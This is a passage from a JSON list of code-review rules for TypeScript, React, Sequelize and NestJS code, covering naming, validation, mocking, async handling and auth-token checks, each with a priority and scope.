bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use raw:true when you only need plain data","rule":"If you don't need model instances/methods, set raw:true on the query to skip instance building and return plain objects.","apiRule":"If you don't need model instances/methods, set raw:true on the query to skip instance building and return plain objects. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't set include required:true when a where clause already forces it","rule":"In Sequelize, defining a where on an include makes it required automatically; an explicit required:true can wrongly exclude rows (e.g. users with zero relations).","apiRule":"In Sequelize, defining a where on an include makes it required automatically; an explicit required:true can wrongly exclude rows (e.g. users with zero relations). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use @ValidateNested with @Type for nested DTOs and arrays","rule":"Nested objects and arrays of DTOs are not validated unless annotated with @ValidateNested() and @Type(); without them class-validator silently skips them.","apiRule":"Nested objects and arrays of DTOs are not validated unless annotated with @ValidateNested() and @Type(); without them class-validator silently skips them. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Return bulk results aligned with the input so callers know what failed","rule":"For bulk-create style operations, return an array the same length as the input (with null for skipped/failed items) so the caller can map results back by index.","apiRule":"For bulk-create style operations, return an array the same length as the input (with null for skipped/failed items) so the caller can map results back by index. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Define a shared mock return once instead of per test case","rule":"When every test stubs the same return value, set it directly on the mock declaration rather than repeating the stub inside each it block.","apiRule":"When every test stubs the same return value, set it directly on the mock declaration rather than repeating the stub inside each it block. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the simplest mock form in tests","rule":"Prefer mockReturnValue over mockImplementation when you only return a value, and drop unnecessary Promise.resolve wrappers and redundant mockClear calls.","apiRule":"Prefer mockReturnValue over mockImplementation when you only return a value, and drop unnecessary Promise.resolve wrappers and redundant mockClear calls. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a plain loop unless you actually await inside it","rule":"Only use for-await / sequential awaiting when the loop body genuinely awaits; otherwise a regular for loop (or Promise.all) is clearer and correct.","apiRule":"Only use for-await / sequential awaiting when the loop body genuinely awaits; otherwise a regular for loop (or Promise.all) is clearer and correct. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Match validation decorators to the actual property type","rule":"Use type-appropriate validators (@IsNumber for numbers, @IsString for strings); a decorator that contradicts the declared type (e.g. @IsString on a number) is a bug.","apiRule":"Use type-appropriate validators (@IsNumber for numbers, @IsString for strings); a decorator that contradicts the declared type (e.g. @IsString on a number) is a bug. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Normalize a parameter's type rather than branching on it at runtime","rule":"If a function accepts string | string[], normalize to one shape (e.g. always an array via rest/flat) so the body doesn't need union-handling branches.","apiRule":"If a function accepts string | string[], normalize to one shape (e.g. always an array via rest/flat) so the body doesn't need union-handling branches. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Check required account state before issuing an auth token","rule":"Confirm preconditions like verified/active status before signing and returning an access token, so unverified accounts cannot authenticate.","apiRule":"Confirm preconditions like verified/active status before signing and returning an access token, so unverified accounts cannot authenticate. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Only add truthy filters to a database query","rule":"Build where-clauses by conditionally including parameters; do not forward undefined/empty values into the query so the function stays correct and standalone regardless of upstream validation.","apiRule":"Build where-clauses by conditionally including parameters; do not forward undefined/empty values into the query so the function stays correct and standalone regardless of upstream validation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't drop validation that filters out no-op requests","rule":"Removing a filter that excludes empty/zero-amount entries can send no-op requests to the backend (wasteful calls, possible errors, misleading success messages). Keep the guard or validate server-side.","apiRule":"Removing a filter that excludes empty/zero-amount entries can send no-op requests to the backend (wasteful calls, possible errors, misleading success messages). Keep the guard or validate server-side. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Adopt Conventional Commits for commit messages","rule":"Format commit messages as type(scope): description (e.g. feat(docs): update template), optionally referencing a ticket, so history is structured and tooling-friendly.","apiRule":"Format commit messages as type(scope): description (e.g. feat(docs): update template), optionally referencing a ticket, so history is structured and tooling-friendly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Consolidate repeated render conditions into one block","rule":"When several adjacent JSX elements all gate on the same variant/condition, wrap them in a single conditional block instead of repeating the check on each line.","apiRule":"When several adjacent JSX elements all gate on the same variant/condition, wrap them in a single conditional block instead of repeating the check on each line. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name or comment special-case enum members precisely","rule":"If an enum member only applies to a specific case (one vendor, one mode), make the name reflect that or add a comment, so future readers don't assume broader applicability.","apiRule":"If an enum member only applies to a specific case (one vendor, one mode), make the name reflect that or add a comment, so future readers don't assume broader applicability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't drop data needed by downstream flows","rule":"Before removing the propagation of a value (token, credential, query param), verify nothing downstream depends on it; silently dropping it can break later steps.","apiRule":"Before removing the propagation of a value (token, credential, query param), verify nothing downstream depends on it; silently dropping it can break later steps. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer switch/case over long if-else chains on one variable","rule":"When branching on the discrete values of a single variable, a switch/case reads more clearly than a chain of if/else-if comparisons.","apiRule":"When branching on the discrete values of a single variable, a switch/case reads more clearly than a chain of if/else-if comparisons. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a styled confirmation dialog instead of window.confirm","rule":"Replace native window.confirm/alert with the app's styled dialog component for a consistent UX and to avoid the no-alert lint suppression.","apiRule":"Replace native window.confirm/alert with the app's styled dialog component for a consistent UX and to avoid the no-alert lint suppression. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't ship asset variants you don't actually use","rule":"Before adding font/image/asset variants (e.g. italic, extra weights), confirm they're actually needed; unused variants bloat the bundle.","apiRule":"Before adding font/image/asset variants (e.g. italic, extra weights), confirm they're actually needed; unused variants bloat the bundle. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard derived calculations against undefined async state","rule":"When deriving values from state that starts null/undefined before an async fetch resolves, guard against the nullish case instead of computing directly on possibly-undefined fields.","apiRule":"When deriving values from state that starts null/undefined before an async fetch resolves, guard against the nullish case instead of computing directly on possibly-undefined fields. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep SCSS class names short and nesting shallow","rule":"Avoid deeply nested SCSS selectors with long descriptive class names; flatten the structure and use concise, scoped class names.","apiRule":"Avoid deeply nested SCSS selectors with long descriptive class names; flatten the structure and use concise, scoped class names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't repeat an identical attribute on every item","rule":"If the same prop/value is set identically on every iteration or option, lift it out instead of writing it manually on each one.","apiRule":"If the same prop/value is set identically on every iteration or option, lift it out instead of writing it manually on each one. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep type and variable singular/plural naming aligned","rule":"Don't pair a plural type name with a singular variable (or vice versa); name both consistently and generically (PdfFontConfig, not CurrentPdfFonts for one value).","apiRule":"Don't pair a plural type name with a singular variable (or vice versa); name both consistently and generically (PdfFontConfig, not CurrentPdfFonts for one value). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make a function async when it performs asynchronous work","rule":"If a function awaits or returns a promise-based operation, declare it async (and return the promise) instead of leaving it synchronous.","apiRule":"If a function awaits or returns a promise-based operation, declare it async (and return the promise) instead of leaving it synchronous. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't send undefined values in request bodies; omit the key","rule":"Conditionally include a field in a request body only when it has a value, rather than sending undefined; build the payload from defined values.","apiRule":"Conditionally include a field in a request body only when it has a value, rather than sending undefined; build the payload from defined values. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use reduce to build an aggregate instead of manual accumulation","rule":"When building a single accumulated value or object from an array, prefer reduce over a manual loop pushing into an external variable.","apiRule":"When building a single accumulated value or object from an array, prefer reduce over a manual loop pushing into an external variable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the shared toast utility for success and error feedback","rule":"Surface success/error messages through the app's Toast helper instead of ad-hoc UI, and only show a success toast when the design calls for it.","apiRule":"Surface success/error messages through the app's Toast helper instead of ad-hoc UI, and only show a success toast when the design calls for it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use InputAdornment for input affixes instead of fragments","rule":"Render leading/trailing icons or text inside form fields with the library's InputAdornment component rather than stitching empty fragments around the input.","apiRule":"Render leading/trailing icons or text inside form fields with the library's InputAdornment component rather than stitching empty fragments around the input. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use short modifier class names nested under their parent","rule":"Inside a parent selector, name modifier classes by the modifier alone (&.modifier) instead of repeating the parent name (&.parentClassModifier).","apiRule":"Inside a parent selector, name modifier classes by the modifier alone (&.modifier) instead of repeating the parent name (&.parentClassModifier). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Give module-level constants descriptive SCREAMING_SNAKE_CASE names","rule":"Name reusable constant values descriptively in SCREAMING_SNAKE_CASE (e.g. EMPTY_PRICE_RANGE) and place them at an appropriate scope.","apiRule":"Name reusable constant values descriptively in SCREAMING_SNAKE_CASE (e.g. EMPTY_PRICE_RANGE) and place them at an appropriate scope. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type the API route response object","rule":"Annotate the response (e.g. NextApiResponse<ResponseType>) so the handler's payload shape is type-checked.","apiRule":"Annotate the response (e.g. NextApiResponse<ResponseType>) so the handler's payload shape is type-checked. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Split a hook that takes too many parameters","rule":"A hook accepting a long parameter list becomes tightly coupled and hard to maintain; split it into smaller hooks or move some logic to the parent.","apiRule":"A hook accepting a long parameter list becomes tightly coupled and hard to maintain; split it into smaller hooks or move some logic to the parent. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Group a hook's return value into data and actions","rule":"For hooks returning many values, group them under data and actions keys for readability, and drop redundant suffixes like 'data' from individual names.","apiRule":"For hooks returning many values, group them under data and actions keys for readability, and drop redundant suffixes like 'data' from individual names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Type async functions as returning a Promise","rule":"An async function always returns a Promise, so its annotated return type must be Promise<T>, not T.","apiRule":"An async function always returns a Promise, so its annotated return type must be Promise<T>, not T. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep provider and context names aligned","rule":"Name a context provider consistently with its context so consumers can tell what it provides.","apiRule":"Name a context provider consistently with its context so consumers can tell what it provides. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Copy an array before sorting to avoid mutating shared state","rule":"Array.sort mutates in place; clone the array first (e.g. [...arr]) when the source could be a prop or state, since mutating state directly is unsafe.","apiRule":"Array.sort mutates in place; clone the array first (e.g. [...arr]) when the source could be a prop or state, since mutating state directly is unsafe. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use a plain variable instead of a function that takes no input","rule":"If a helper takes no arguments and just computes a value, declare it as a variable rather than wrapping it in a function.","apiRule":"If a helper takes no arguments and just computes a value, declare it as a variable rather than wrapping it in a function. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name event-handler props with an on-prefix and drop redundant context","rule":"Name callback props onClick/onSelect/onChange; omit context the component name already implies (e.g. onSelect rather than onLocationSelected inside a LocationCard).","apiRule":"Name callback props onClick/onSelect/onChange; omit context the component name already implies (e.g. onSelect rather than onLocationSelected inside a LocationCard). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Lift shared state up or into context instead of duplicating it","rule":"Two components that need the same state should share a single source (lifted state or context); giving each its own state instance leads to divergence.","apiRule":"Two components that need the same state should share a single source (lifted state or context); giving each its own state instance leads to divergence. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use the .tsx extension only for files containing JSX","rule":"Name pure TypeScript helper files .ts; reserve the .tsx extension for files that actually contain JSX.","apiRule":"Name pure TypeScript helper files .ts; reserve the .tsx extension for files that actually contain JSX. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep a consistent casing convention for enum and union members","rule":"Pick one casing style for enum/union string values and apply it consistently across the codebase rather than mixing camelCase and kebab-case.","apiRule":"Pick one casing style for enum/union string values and apply it consistently across the codebase rather than mixing camelCase and kebab-case. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Either use a declared value or delete it","rule":"Don't leave declared-but-unused variables, imports, or assignments; remove them or wire them up.","apiRule":"Don't leave declared-but-unused variables, imports, or assignments; remove them or wire them up. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Omit props from a spread type that would override explicit handlers","rule":"When spreading a props type that includes onClick (or similar) onto an element that already wires that handler, Omit it from the spread type to prevent silent overrides.","apiRule":"When spreading a props type that includes onClick (or similar) onto an element that already wires that handler, Omit it from the spread type to prevent silent overrides. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Avoid double-negation when a clearer check exists","rule":"Replace !!value coercion with a more explicit check like value.length or Boolean(value) when it reads more clearly.","apiRule":"Replace !!value coercion with a more explicit check like value.length or Boolean(value) when it reads more clearly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't annotate components with redundant JSX.Element return types","rule":"The JSX.Element return type on a component is inferred; adding it explicitly is noise unless it serves a specific purpose.","apiRule":"The JSX.Element return type on a component is inferred; adding it explicitly is noise unless it serves a specific purpose. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Rename local components to avoid clashing with library names","rule":"Don't name a local component the same as a widely-used library export (e.g. FormControl); pick a distinct name to prevent import confusion.","apiRule":"Don't name a local component the same as a widely-used library export (e.g. FormControl); pick a distinct name to prevent import confusion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass meaningful values to callbacks instead of raw events","rule":"A parent usually wants the new value and identifiers, not the DOM event; design callbacks like onChange(value, rowId, cellId) rather than onChange(event).","apiRule":"A parent usually wants the new value and identifiers, not the DOM event; design callbacks like onChange(value, rowId, cellId) rather than onChange(event). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a boolean prop when only two states exist","rule":"When a prop really represents a yes/no condition (selected or not), model it as a boolean like isSelected rather than a string variant or single-value enum.","apiRule":"When a prop really represents a yes/no condition (selected or not), model it as a boolean like isSelected rather than a string variant or single-value enum. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract inline style objects into a dedicated styles file","rule":"Move large inline StyleSheet/style objects (e.g. for PDF rendering) into a ComponentName.styles file to keep the component readable.","apiRule":"Move large inline StyleSheet/style objects (e.g. for PDF rendering) into a ComponentName.styles file to keep the component readable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use a ternary for mutually exclusive loading states","rule":"Render loading vs content with a single ternary instead of two separate truthy/falsy checks on the same flag.","apiRule":"Render loading vs content with a single ternary instead of two separate truthy/falsy checks on the same flag. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Merge branches that produce the same result","rule":"If two condition branches return or set the same thing, collapse them into a single branch or a shared else.","apiRule":"If two condition branches return or set the same thing, collapse them into a single branch or a shared else. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract repeated logic into a single reusable function","rule":"When the same block appears in multiple places, pull it into one function and call it where needed instead of duplicating.","apiRule":"When the same block appears in multiple places, pull it into one function and call it where needed instead of duplicating. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't reassign shared singletons on every render","rule":"Assigning a value into a shared/static object during render runs on every render and is a code smell; resolve the dependency where it actually belongs.","apiRule":"Assigning a value into a shared/static object during render runs on every render and is a code smell; resolve the dependency where it actually belongs. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use one consistent naming case for SCSS variables","rule":"Pick a single casing convention for SCSS variable names and apply it everywhere; mixing kebab-case and camelCase is inconsistent.","apiRule":"Pick a single casing convention for SCSS variable names and apply it everywhere; mixing kebab-case and camelCase is inconsistent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use early-exit rendering instead of mapping that returns null","rule":"When iterating a heterogeneous list, return early for the irrelevant branches up front so the render path reads clearly.","apiRule":"When iterating a heterogeneous list, return early for the irrelevant branches up front so the render path reads clearly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name service methods to match the endpoint they call","rule":"A service method should be named after the route or resource it hits (getHomepageFeed for /homepage-feed) so the mapping is obvious.","apiRule":"A service method should be named after the route or resource it hits (getHomepageFeed for /homepage-feed) so the mapping is obvious. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the correct logical operator in null-guard conditions","rule":"Watch out for && vs || in guard clauses: combining two negated checks with && can make the condition unreachable, so confirm the intended logic.","apiRule":"Watch out for && vs || in guard clauses: combining two negated checks with && can make the condition unreachable, so confirm the intended logic. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Conditionally render a link instead of passing a possibly-null href","rule":"When a URL may be unavailable, track that with a flag and only wrap content in a link when a valid href exists, rather than passing null to href.","apiRule":"When a URL may be unavailable, track that with a flag and only wrap content in a link when a valid href exists, rather than passing null to href. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Place API-related helpers in the api folder","rule":"Utilities whose job is server/API data fetching belong with the other API code, not in a generic utils root, so related code stays discoverable.","apiRule":"Utilities whose job is server/API data fetching belong with the other API code, not in a generic utils root, so related code stays discoverable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Skip the method switch when an API route handles one verb","rule":"A handler that supports a single HTTP method doesn't need a switch on req.method; handle the verb directly (and reject others) to cut boilerplate.","apiRule":"A handler that supports a single HTTP method doesn't need a switch on req.method; handle the verb directly (and reject others) to cut boilerplate. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid calling multiple handlers when one would do","rule":"If a UI action triggers several handlers in sequence, consider whether they can be merged into a single handler to reduce coupling and surprises.","apiRule":"If a UI action triggers several handlers in sequence, consider whether they can be merged into a single handler to reduce coupling and surprises. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use includes() to test membership instead of comparing to a literal array","rule":"Comparing a value to a literal array with === always fails; use Array.includes (or compare the single element) to express membership.","apiRule":"Comparing a value to a literal array with === always fails; use Array.includes (or compare the single element) to express membership. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad 